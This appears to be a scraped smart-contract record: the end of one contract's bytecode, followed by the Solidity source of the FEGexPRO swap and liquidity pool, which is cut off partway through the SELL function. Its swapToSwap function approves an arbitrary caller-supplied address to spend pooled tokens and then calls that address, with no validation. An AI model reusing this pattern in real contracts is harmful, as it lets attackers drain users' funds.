841660009081526006602052604090206001015442116110cd5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051f565b601454600160b81b900460ff16156111325760006110f6600c54846114f890919063ffffffff16565b6014549091506111259061111e908590611118906001600160a01b0316610633565b90611577565b82906115d6565b905061113081611618565b505b801561119f57600b5460145461116891606491611162919061115c906001600160a01b0316610633565b906114f8565b906115d6565b81111561119657600b5460145461119391606491611162919061115c906001600160a01b0316610633565b90505b61119f81611353565b4780156111af576111af4761124a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f557506001600160a01b03831660009081526005602052604090205460ff165b156111fe575060005b61120a84848484611685565b50505050565b600081848411156112345760405162461bcd60e51b815260040161051f9190611be5565b5060006112418486611d28565b95945050505050565b6011546001600160a01b03166108fc6112648360026115d6565b6040518115909202916000818181858888f1935050505015801561128c573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112a78360026115d6565b6040518115909202916000818181858888f19350505050158015610b46573d6000803e3d6000fd5b60006007548211156113365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051f565b60006113406116b3565b905061134c83826115d6565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113fd57600080fd5b505afa158015611411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114359190611aa9565b8160018151811061145657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461147c9130911684610b4a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b5908590600090869030904290600401611c6d565b600060405180830381600087803b1580156114cf57600080fd5b505af11580156114e3573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826115075750600061043c565b60006115138385611d09565b9050826115208583611cf5565b1461134c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051f565b6000806115848385611cdd565b90508381101561134c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051f565b600061134c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d6565b600a8082101561162a5750600a61163e565b602882111561163b5750601e61163e565b50805b611649816002611704565b1561165c578061165881611d3f565b9150505b61166c600a6111628360026114f8565b60095561167e600a61116283826114f8565b600a555050565b8061169257611692611746565b61169d848484611774565b8061120a5761120a600e54600955600f54600a55565b60008060006116c061186b565b90925090506116cf82826115d6565b9250505090565b600081836116f75760405162461bcd60e51b815260040161051f9190611be5565b5060006112418486611cf5565b600061134c83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118ad565b6009541580156117565750600a54155b1561175d57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611786876118e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117b8908761193e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117e79086611577565b6001600160a01b03891660009081526002602052604090205561180981611980565b61181384836119ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188782826115d6565b8210156118a457505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118ce5760405162461bcd60e51b815260040161051f9190611be5565b506118d98385611d5a565b949350505050565b60008060008060008060008060006118fe8a600954600a546119ee565b925092509250600061190e6116b3565b905060008060006119218e878787611a3d565b919e509c509a509598509396509194505050505091939550919395565b600061134c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611210565b600061198a6116b3565b9050600061199883836114f8565b306000908152600260205260409020549091506119b59082611577565b30600090815260026020526040902055505050565b6007546119d7908361193e565b6007556008546119e79082611577565b6008555050565b6000808080611a02606461116289896114f8565b90506000611a1560646111628a896114f8565b90506000611a2d82611a278b8661193e565b9061193e565b9992985090965090945050505050565b6000808080611a4c88866114f8565b90506000611a5a88876114f8565b90506000611a6888886114f8565b90506000611a7a82611a27868661193e565b939b939a50919850919650505050505050565b600060208284031215611a9e578081fd5b813561134c81611d9a565b600060208284031215611aba578081fd5b815161134c81611d9a565b60008060408385031215611ad7578081fd5b8235611ae281611d9a565b91506020830135611af281611d9a565b809150509250929050565b600080600060608486031215611b11578081fd5b8335611b1c81611d9a565b92506020840135611b2c81611d9a565b929592945050506040919091013590565b60008060408385031215611b4f578182fd5b8235611b5a81611d9a565b946020939093013593505050565b600060208284031215611b79578081fd5b813561134c81611daf565b600060208284031215611b95578081fd5b815161134c81611daf565b600060208284031215611bb1578081fd5b5035919050565b600080600060608486031215611bcc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1157858101830151858201604001528201611bf5565b81811115611c225783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cbc5784516001600160a01b031683529383019391830191600101611c97565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf057611cf0611d6e565b500190565b600082611d0457611d04611d84565b500490565b6000816000190483118215151615611d2357611d23611d6e565b500290565b600082821015611d3a57611d3a611d6e565b500390565b6000600019821415611d5357611d53611d6e565b5060010190565b600082611d6957611d69611d84565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063057600080fd5b801515811461063057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122096701d42b5cb80af629a471e818950bc67c702c233d506bd3344f7385a1c365264736f6c63430008040033
[ 13, 5, 11 ]
0xf2bda964ec2d2fcb1610c886ed4831bf58f64948
pragma solidity 0.8.7; // SPDX-License-Identifier: UNLICENSED contract FEGmath { function btoi(uint256 a) internal pure returns (uint256) { return a / 1e18; } function bfloor(uint256 a) internal pure returns (uint256) { return btoi(a) * 1e18; } function badd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ERR_ADD_OVERFLOW"); return c; } function bsub(uint256 a, uint256 b) internal pure returns (uint256) { (uint256 c, bool flag) = bsubSign(a, b); require(!flag, "ERR_SUB_UNDERFLOW"); return c; } function bsubSign(uint256 a, uint256 b) internal pure returns (uint, bool) { if (a >= b) { return (a - b, false); } else { return (b - a, true); } } function bmul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c0 = a * b; require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW"); uint256 c1 = c0 + (1e18 / 2); require(c1 >= c0, "ERR_MUL_OVERFLOW"); uint256 c2 = c1 / 1e18; return c2; } function bdiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "ERR_DIV_ZERO"); uint256 c0 = a * 1e18; require(a == 0 || c0 / a == 1e18, "ERR_DIV_INTERNAL"); // bmul overflow uint256 c1 = c0 + (b / 2); require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require uint256 c2 = c1 / b; return c2; } function bpowi(uint256 a, uint256 n) internal pure returns (uint256) { uint256 z = n % 2 != 0 ? a : 1e18; for (n /= 2; n != 0; n /= 2) { a = bmul(a, a); if (n % 2 != 0) { z = bmul(z, a); } } return z; } function bpow(uint256 base, uint256 exp) internal pure returns (uint256) { require(base >= 1 wei, "ERR_BPOW_BASE_TOO_LOW"); require(base <= (2 * 1e18) - 1 wei, "ERR_BPOW_BASE_TOO_HIGH"); uint256 whole = bfloor(exp); uint256 remain = bsub(exp, whole); uint256 wholePow = bpowi(base, btoi(whole)); if (remain == 0) { return wholePow; } uint256 partialResult = bpowApprox(base, remain, 1e18 / 1e10); return bmul(wholePow, partialResult); } function bpowApprox(uint256 base, uint256 exp, uint256 precision) internal pure returns (uint256) { uint256 a = exp; (uint256 x, bool xneg) = bsubSign(base, 1e18); uint256 term = 1e18; uint256 sum = term; bool negative = false; for (uint256 i = 1; term >= precision; i++) { uint256 bigK = i * 1e18; (uint256 c, bool cneg) = bsubSign(a, bsub(bigK, 1e18)); term = bmul(term, bmul(c, x)); term = bdiv(term, bigK); if (term == 0) break; if (xneg) negative = !negative; if (cneg) negative = !negative; if (negative) { sum = bsub(sum, term); } else { sum = badd(sum, term); } } return sum; } } contract FMath is FEGmath { function calcSpotPrice( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 swapFee ) public pure returns (uint256 spotPrice) { uint256 numer = bdiv(tokenBalanceIn, tokenWeightIn); uint256 denom = bdiv(tokenBalanceOut, tokenWeightOut); uint256 ratio = bdiv(numer, denom); uint256 scale = bdiv(10**18, bsub(10**18, swapFee)); return (spotPrice = bmul(ratio, scale)); } function calcOutGivenIn( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 tokenAmountIn, uint256 swapFee ) public pure returns (uint256 tokenAmountOut, uint256 tokenInFee) { uint256 weightRatio = bdiv(tokenWeightIn, tokenWeightOut); uint256 adjustedIn = bsub(10**18, swapFee); adjustedIn = bmul(tokenAmountIn, adjustedIn); uint256 y = bdiv(tokenBalanceIn, badd(tokenBalanceIn, adjustedIn)); uint256 foo = bpow(y, weightRatio); uint256 bar = bsub(1e18, foo); tokenAmountOut = bmul(tokenBalanceOut, bar); tokenInFee = bsub(tokenAmountIn, adjustedIn); return (tokenAmountOut, tokenInFee); } function calcInGivenOut( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 tokenAmountOut, uint256 swapFee ) public pure returns (uint256 tokenAmountIn, uint256 tokenInFee) { uint256 weightRatio = bdiv(tokenWeightOut, tokenWeightIn); uint256 diff = bsub(tokenBalanceOut, tokenAmountOut); uint256 y = bdiv(tokenBalanceOut, diff); uint256 foo = bpow(y, weightRatio); foo = bsub(foo, 1e18); foo = bmul(tokenBalanceIn, foo); tokenAmountIn = bsub(1e18, swapFee); tokenAmountIn = bdiv(foo, tokenAmountIn); tokenInFee = bdiv(foo, 1e18); tokenInFee = bsub(tokenAmountIn, tokenInFee); return (tokenAmountIn, tokenInFee); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address whom) external view returns (uint256); function allowance(address src, address dst) external view returns (uint256); function approve(address dst, uint256 amt) external returns (bool); function transfer(address dst, uint256 amt) external returns (bool); function transferFrom( address src, address dst, uint256 amt ) external returns (bool); } interface wrap { function deposit() external payable; function withdraw(uint256 amt) external; function transfer(address recipient, uint256 amount) external returns (bool); } interface swap { function depositInternal(address asset, uint256 amt) external; function payMain(address payee, uint256 amount) external; function payToken(address payee, uint256 amount) external; function BUY(uint256 dot, address to, uint256 minAmountOut) external payable; } library TransferHelper { function safeTransferFrom(address token, address from, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint256 value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract LPTokenBase is FEGmath { mapping(address => uint256) internal _balance; mapping(address => mapping(address=>uint256)) internal _allowance; uint256 public totalSupply = 0; event Approval(address indexed src, address indexed dst, uint256 amt); event Transfer(address indexed src, address indexed dst, uint256 amt); function _mint(uint256 amt) internal { _balance[address(this)] = badd(_balance[address(this)], amt); totalSupply = badd(totalSupply, amt); emit Transfer(address(0), address(this), amt); } function _burn(uint256 amt) internal { require(_balance[address(this)] >= amt); _balance[address(this)] = bsub(_balance[address(this)], amt); totalSupply = bsub(totalSupply, amt); emit Transfer(address(this), address(0), amt); } function _move(address src, address dst, uint256 amt) internal { require(_balance[src] >= amt); _balance[src] = bsub(_balance[src], amt); _balance[dst] = badd(_balance[dst], amt); emit Transfer(src, dst, amt); } function _push(address to, uint256 amt) internal { _move(address(this), to, amt); } function _pull(address from, uint256 amt) internal { _move(from, address(this), amt); } } contract LPToken is LPTokenBase { string public name = "FEXex PRO"; string public symbol = "LP Token"; uint8 public decimals = 18; function allowance(address src, address dst) external view returns (uint256) { return _allowance[src][dst]; } function balanceOf(address whom) external view returns (uint256) { return _balance[whom]; } function approve(address dst, uint256 amt) external returns (bool) { _allowance[msg.sender][dst] = amt; emit Approval(msg.sender, dst, amt); return true; } function increaseApproval(address dst, uint256 amt) external returns (bool) { _allowance[msg.sender][dst] = badd(_allowance[msg.sender][dst], amt); emit Approval(msg.sender, dst, _allowance[msg.sender][dst]); return true; } function decreaseApproval(address dst, uint256 amt) external returns (bool) { uint256 oldValue = _allowance[msg.sender][dst]; if (amt > oldValue) { _allowance[msg.sender][dst] = 0; } else { _allowance[msg.sender][dst] = bsub(oldValue, amt); } emit Approval(msg.sender, dst, _allowance[msg.sender][dst]); return true; } } interface FEgexPair { function initialize(address, address, address, address, uint256) external; function deploySwap (address, uint256, uint256) external; function userBalanceInternal(address _addr) external returns (uint256, uint256); } contract FEGexPRO is LPToken, FMath { using Address for address; struct Record { uint256 index; uint256 balance; } struct userLock { bool setLock; // true = lockedLiquidity, false = unlockedLiquidity uint256 unlockTime; } function getUserLock(address usr) public view returns(bool lock){ return (_userlock[usr].setLock); } event LOG_SWAP( address indexed caller, address indexed tokenIn, address indexed tokenOut, uint256 tokenAmountIn, uint256 tokenAmountOut ); event LOG_JOIN( address indexed caller, address indexed tokenIn, uint256 tokenAmountIn, uint256 reservesAmount ); event LOG_EXIT( address indexed caller, address indexed tokenOut, uint256 tokenAmountOut, uint256 reservesAmount ); event LOG_SMARTSWAP( address indexed caller, address indexed tokenIn, address indexed tokenOut, uint256 AmountIn, uint256 AmountOut ); event LOG_CALL( bytes4 indexed sig, address indexed caller, bytes data ) anonymous; modifier _logs_() { emit LOG_CALL(msg.sig, msg.sender, msg.data); _; } uint256 private spec; address private _controller = 0x4c9BC793716e8dC05d1F48D8cA8f84318Ec3043C; address private _setter = 0x86882FA66aC57039b10D78e2D3205592A44664c0; address private FEG = 0x389999216860AB8E0175387A0c90E5c52522C945; address public _poolOwner = 0x4c9BC793716e8dC05d1F48D8cA8f84318Ec3043C; address public Main = 0xf786c34106762Ab4Eeb45a51B42a62470E9D5332; address public Token = 0x389999216860AB8E0175387A0c90E5c52522C945; address public pairRewardPool = 0x94D4Ac11689C6EbbA91cDC1430fc7dfa9a858753; address public FEGstake = 0x0f8bAA9bf4e0Ebaa9111F07F8125DF66166A1D9E; address public Bonus; uint256 public MAX_BUY_RATIO; uint256 public MAX_SELL_RATIO; uint256 public PSS = 20; // pairRewardPool Share 0.2% default uint256 public RPF = 1000; // Smart Rising Price Floor Setting address[] private _tokens; uint256 public _totalSupply1 = 0; uint256 public _totalSupply2 = 0; uint256 public _totalSupply7 = 0; uint256 public _totalSupply8 = 0; uint256 public totalSentRebates = 0; uint256 public lockedLiquidity = 0; bool public live = false; bool public open = false; mapping(address=>Record) private _records; mapping(address=>userLock) private _userlock; mapping(address=>userLock) public _unlockTime; mapping(address=>bool) private whiteListContract; mapping(address => uint256) private _balances1; mapping(address => uint256) private _balances2; uint256 public constant MAX_RATIO = 50; // Max ratio for all trades based on liquidity amount uint256 public tx1; uint256 public tx2; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status = _NOT_ENTERED; event rebate(address indexed user, uint256 amount); modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } receive() external payable { } function userBalanceInternal(address _addr) public view returns(uint256, uint256) { uint256 main = _balances2[_addr]; uint256 token = _balances1[_addr]; return (token, main); } function isContract(address account) internal view returns(bool) { if(IsWhiteListContract(account)) { return false; } bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function addWhiteListContract(address _addy, bool boolean) public { require(msg.sender == _setter, "You do not have permission"); whiteListContract[_addy] = boolean; } function IsWhiteListContract(address _addy) public view returns(bool){ return whiteListContract[_addy]; } modifier noContract() { require(isContract(msg.sender) == false, "Unapproved contracts are not allowed to interact with the swap"); _; } function setMaxBuySellRatio(uint256 sellmax, uint256 buymax) public { require(msg.sender == _poolOwner, "You do not have permission"); uint256 tib = _records[Token].balance; uint256 tob = _records[Main].balance; require (sellmax >= 1e23 && sellmax <= tib, "min 10 T FEG, max 100% of liquidity"); require (buymax >= 100e18 && buymax <= tob, "min 100 ETH, max 100% of liquidity"); MAX_SELL_RATIO = sellmax; MAX_BUY_RATIO = buymax; } function openit() public{ // Since only sets to true, trading can never be turned off require(msg.sender == _poolOwner); open = true; } function setBonus(address _bonus) public{ // For tokens that have a 3rd party token reflection require(msg.sender == _poolOwner && _bonus != Main && _bonus != Token, "Not permitted"); Bonus = _bonus; } function setStakePool(address _stake) public { require(msg.sender == _setter && _stake != address(0), "You do not have permission"); FEGstake = _stake; } function setPairRewardPool(address _addy) public { // Gives ability to move rewards to future staking protocols require(msg.sender == _setter, "You do not have permission"); pairRewardPool = _addy; } function getBalance(address token) external view returns (uint256) { return _records[token].balance; } function setCont(address manager, address set, address ad) external { require(msg.sender == _controller, "You do not have permission"); require(manager != address(0) && set != address(0), "Cannot set 0 address"); _controller = manager; _setter = set; _poolOwner = ad; // Incase pool owner wallet was compromised and needs new access } function setLockLiquidity() nonReentrant public { // address user; user = msg.sender; bool loc = getUserLock(user); require(loc == false, "Liquidity already locked"); uint256 total = IERC20(address(this)).balanceOf(user); userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; ulock.setLock = true; time.unlockTime = block.timestamp + 90 days; lockedLiquidity += total; } function deploySwap (uint256 liqmain, uint256 liqtoken, uint256 ol) external { require(live == false, "Can only use once"); require(msg.sender == _poolOwner, "No permissions"); address _from = msg.sender; spec = ol; _pullUnderlying(Main, msg.sender, liqmain); _pullUnderlying(Token, msg.sender, liqtoken); MAX_SELL_RATIO = 5000000000000e9; MAX_BUY_RATIO = 300e18; uint256 much = IERC20(Token).balanceOf(address(this)); uint256 much1 = IERC20(Main).balanceOf(address(this)); _records[Token] = Record({ index: _tokens.length, balance: much }); _records[Main] = Record({ index: _tokens.length, balance: much1 }); _tokens.push(Token); _tokens.push(Main); uint256 a = bdiv(_records[Token].balance, 1e9); uint256 b = bdiv(_records[Main].balance, 1e18); _mint(badd(a, b)); lockedLiquidity = badd(lockedLiquidity, badd(a, b)); _push(_from, badd(a, b)); userLock storage ulock = _userlock[_from]; userLock storage time = _unlockTime[_from]; ulock.setLock = true; time.unlockTime = block.timestamp + 365 days; live = true; PSS = 30; tx1 = bmul(100, bdiv(much, liqtoken)); tx2 = bmul(100, bdiv(much1, liqmain)); } function getSpotPrice(address tokenIn, address tokenOut) public view returns (uint256 spotPrice) { Record storage inRecord = _records[address(tokenIn)]; Record storage outRecord = _records[address(tokenOut)]; return calcSpotPrice(inRecord.balance, bmul(1e18, 25), outRecord.balance, bmul(1e18, 25), 2e15); } function depositInternal(address asset, uint256 amt) external nonReentrant { require(asset == Main || asset == Token); require(open == true, "Swap not opened"); if(asset == Token){ uint256 bef = _records[Token].balance; _pullUnderlying(Token, msg.sender, amt); uint256 aft = bsub(IERC20(Token).balanceOf(address(this)), _totalSupply1); uint256 finalAmount = bsub(aft, bef); _totalSupply1 = badd(_totalSupply1, finalAmount); _balances1[msg.sender] = badd(_balances1[msg.sender], finalAmount); } else{ uint256 bef = _records[Main].balance; _pullUnderlying(Main, msg.sender, amt); uint256 aft = bsub(IERC20(Main).balanceOf(address(this)), badd(_totalSupply2, badd(_totalSupply7, _totalSupply8))); uint256 finalAmount = bsub(aft, bef); _totalSupply2 = badd(_totalSupply2, finalAmount); _balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount); } payStake(); } function withdrawInternal(address asset, uint256 amt) external nonReentrant { require(asset == Main || asset == Token); if(asset == Token){ require(_balances1[msg.sender] >= amt, "Not enough Token"); _totalSupply1 -= amt; _balances1[msg.sender] -= amt; _pushUnderlying(Token, msg.sender, amt); } else{ require(_balances2[msg.sender] >= amt, "Not enough Main"); _totalSupply2 -= amt; _balances2[msg.sender] -= amt; _pushUnderlying(Main, msg.sender, amt); } payStake(); } function swapToSwap(address path, address asset, address to, uint256 amt) external nonReentrant { require(asset == Main || asset == Token); if(asset == Main){ require(_balances2[msg.sender] >= amt, "Not enough Main"); IERC20(address(Main)).approve(address(path), amt); _totalSupply2 -= amt; _balances2[msg.sender] -= amt; swap(path).depositInternal(Main, amt); (uint256 tokens, uint256 mains) = FEgexPair(path).userBalanceInternal(address(this)); swap(path).payMain(to, mains); tokens = 0; } else{ require(_balances1[msg.sender] >= amt, "Not enough Token"); IERC20(address(Token)).approve(address(path), amt); _totalSupply1 -= amt; _balances1[msg.sender] -= amt; swap(path).depositInternal(Token, amt); (uint256 tokens, uint256 mains) = FEgexPair(path).userBalanceInternal(address(this)); swap(path).payToken(to, tokens); mains = 0; } payStake(); } function transfer(address dst, uint256 amt) external returns(bool) { bool loc = getUserLock(msg.sender); require(loc == false, "Liquidity is locked, you cannot remove liquidity until after lock time."); _move(msg.sender, dst, amt); return true; } function transferFrom(address src, address dst, uint256 amt) external returns(bool) { require(msg.sender == src || amt <= _allowance[src][msg.sender]); bool loc = getUserLock(msg.sender); require(loc == false, "Liquidity is locked, you cannot remove liquidity until after lock time."); _move(src, dst, amt); if (msg.sender != src && _allowance[src][msg.sender] != type(uint256).max) { _allowance[src][msg.sender] = bsub(_allowance[src][msg.sender], amt); emit Approval(msg.sender, dst, _allowance[src][msg.sender]); } return true; } function addBothLiquidity(uint256 poolAmountOut, uint[] calldata maxAmountsIn) nonReentrant external { sync(); uint256 poolTotal = totalSupply; uint256 ratio = bdiv(poolAmountOut, poolTotal); require(ratio != 0, "ERR_MATH_APPROX"); bool loc = getUserLock(msg.sender); if(loc == true){ lockedLiquidity += poolAmountOut; } for (uint256 i = 0; i < _tokens.length; i++) { address t = _tokens[i]; uint256 bal = _records[t].balance; uint256 tokenAmountIn = bmul(ratio, bal); require(tokenAmountIn != 0, "ERR_MATH_APPROX"); require(tokenAmountIn <= maxAmountsIn[i], "ERR_LIMIT_IN"); emit LOG_JOIN(msg.sender, t, tokenAmountIn, 0); _pullUnderlying(t, msg.sender, tokenAmountIn); } payStake(); sync(); _mint(poolAmountOut); _push(msg.sender, poolAmountOut); } function removeBothLiquidity(uint256 poolAmountIn, uint[] calldata minAmountsOut) nonReentrant external { bool loc = getUserLock(msg.sender); require(loc == false, "Liquidity is locked, you cannot remove liquidity until after lock time."); sync(); uint256 poolTotal = totalSupply; uint256 ratio = bdiv(poolAmountIn, poolTotal); require(ratio != 0, "ERR_MATH_APPROX"); _pull(msg.sender, poolAmountIn); _burn(poolAmountIn); for (uint256 i = 0; i < _tokens.length; i++) { address t = _tokens[i]; uint256 bal = _records[t].balance; uint256 tokenAmountOut = bmul(ratio, bal); require(tokenAmountOut != 0, "ERR_MATH_APPROX"); require(tokenAmountOut >= minAmountsOut[i], "Minimum amount out not met"); emit LOG_EXIT(msg.sender, t, tokenAmountOut, 0); _pushUnderlying(t, msg.sender, tokenAmountOut); } sync(); if(Bonus != address(0)){ uint256 bal1 = bmul(ratio, IERC20(Bonus).balanceOf(address(this))); if(bal1 > 0){ _pushUnderlying(Bonus, msg.sender, bal1); } } } function sendRebate() internal { uint256 re = address(this).balance / 8; TransferHelper.safeTransferETH(msg.sender, re); totalSentRebates += re; emit rebate(msg.sender, re); } function BUYSmart( uint256 tokenAmountIn, uint256 minAmountOut ) nonReentrant external returns(uint256 tokenAmountOut) { require(_balances2[msg.sender] >= tokenAmountIn, "Not enough Main, deposit more"); uint256 hold = IERC20(FEG).balanceOf(address(msg.sender)); uint256 io = address(this).balance; if(io > 0 && tokenAmountIn >= 5e16 && hold >= 2e19){ sendRebate(); } Record storage inRecord = _records[address(Main)]; Record storage outRecord = _records[address(Token)]; require(tokenAmountIn <= MAX_BUY_RATIO, "ERR_BUY_IN_RATIO"); require(tokenAmountOut <= bmul(outRecord.balance, bdiv(MAX_RATIO, 100)), "Over MAX_OUT_RATIO"); uint256 tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, bmul(1e18, 25), outRecord.balance, bmul(1e18, 25), bmul(tokenAmountIn, bdiv(999, 1000)), 0 ); require(tokenAmountOut >= minAmountOut, "Minimum amount out not met"); emit LOG_SMARTSWAP(msg.sender, Main, Token, tokenAmountIn, tokenAmountOut); _balances2[msg.sender] -= tokenAmountIn; _totalSupply2 -= tokenAmountIn; _balances1[msg.sender] += tokenAmountOut; _totalSupply1 += tokenAmountOut; _totalSupply8 += bmul(tokenAmountIn, bdiv(1, 1000)); sync(); return(tokenAmountOut); } function BUY( uint256 dot, address to, uint256 minAmountOut ) nonReentrant external payable returns(uint256 tokenAmountOut) { require(open == true, "Swap not opened"); wrap(Main).deposit{value: msg.value}(); if(Address.isContract(msg.sender) == true){ require(dot == spec, "Contracts are not allowed to interact with the Swap"); } uint256 hold = IERC20(FEG).balanceOf(address(msg.sender)); uint256 io = address(this).balance; if(io > 0 && msg.value >= 5e16 && hold >= 2e19){ sendRebate(); } Record storage inRecord = _records[address(Main)]; Record storage outRecord = _records[address(Token)]; require(msg.value <= MAX_BUY_RATIO, "ERR_BUY_IN_RATIO"); require(tokenAmountOut <= bmul(outRecord.balance, bdiv(MAX_RATIO, 100)), "Over MAX_OUT_RATIO"); uint256 tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, bmul(1e18, 25), outRecord.balance, bmul(1e18, 25), bmul(msg.value, bdiv(999, 1000)), 0 ); require(tokenAmountOut >= minAmountOut, "Minimum amount out not met"); uint256 oi = bmul(msg.value, bdiv(1, 1000)); _totalSupply8 += bmul(oi, bdiv(tx2, 100)); _pushUnderlying(Token, to, tokenAmountOut); sync(); emit LOG_SWAP(msg.sender, Main, Token, msg.value, bmul(tokenAmountOut, bdiv(tx1, 100))); return(tokenAmountOut); } function SELL( uint256 dot, address to, uint256 tokenAmountIn, uint256 minAmountOut ) nonReentrant external returns(uint256 tokenAmountOut) { require(open == true, "Swap not opened"); if(Address.isContract(msg.sender) == true){ require(dot == spec, "Contracts are not allowed to interact with the Swap"); } uint256 hold = IERC20(FEG).balanceOf(address(msg.sender)); if(address(this).balance > 0 && hold >= 2e19 && tokenAmountOut <= 1e18){ sendRebate(); } uint256 omm = _records[Token].balance; _pullUnderlying(Token, msg.sender, tokenAmountIn); setTokenBalance(); uint256 trueamount = bmul((_records[Token].balance - omm), bdiv(998, 1000)); require(tokenAmountIn <= MAX_SELL_RATIO, "ERR_SELL_RATIO"); require(tokenAmountOut <= bmul(_records[Main].balance, bdiv(MAX_RATIO, 100)), "Over MAX_OUT_RATIO"); uint256 tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( omm, bmul(1e18, 25), _records[Main].balance, bmul(1e18, 25), trueamount, 2e15 ); require(tokenAmountOut >= minAmountOut, "Minimum amount out not met"); uint256 toka = bmul(tokenAmountOut, bdiv(RPF, 1000)); uint256 tokAmountI = bmul(toka, bdiv(15, 10000)); uint256 tok = bmul(toka, bdiv(15, 10000)); uint256 tokAmountI2 = bmul(toka, bdiv(PSS, 10000)); uint256 io = (toka - (tokAmountI + tok + tokAmountI2)); uint256 tokAmountI1 = bmul(io, bdiv(999, 1000)); uint256 ox = _balances2[address(this)]; if(ox > 1e15){ _totalSupply2 -= ox; _balances2[address(this)] = 0; } wrap(Main).withdraw(tokAmountI1 + ox + tokAmountI); TransferHelper.safeTransferETH(to, bmul(tokAmountI1, bdiv(99, 100))); _totalSupply8 += bmul(io, bdiv(1, 1000)); _balances2[pairRewardPool] += tokAmountI2; _totalSupply2 += tokAmountI2; _totalSupply7 += tok; addRebate(); setMainBalance(); emit LOG_SWAP(msg.sender, 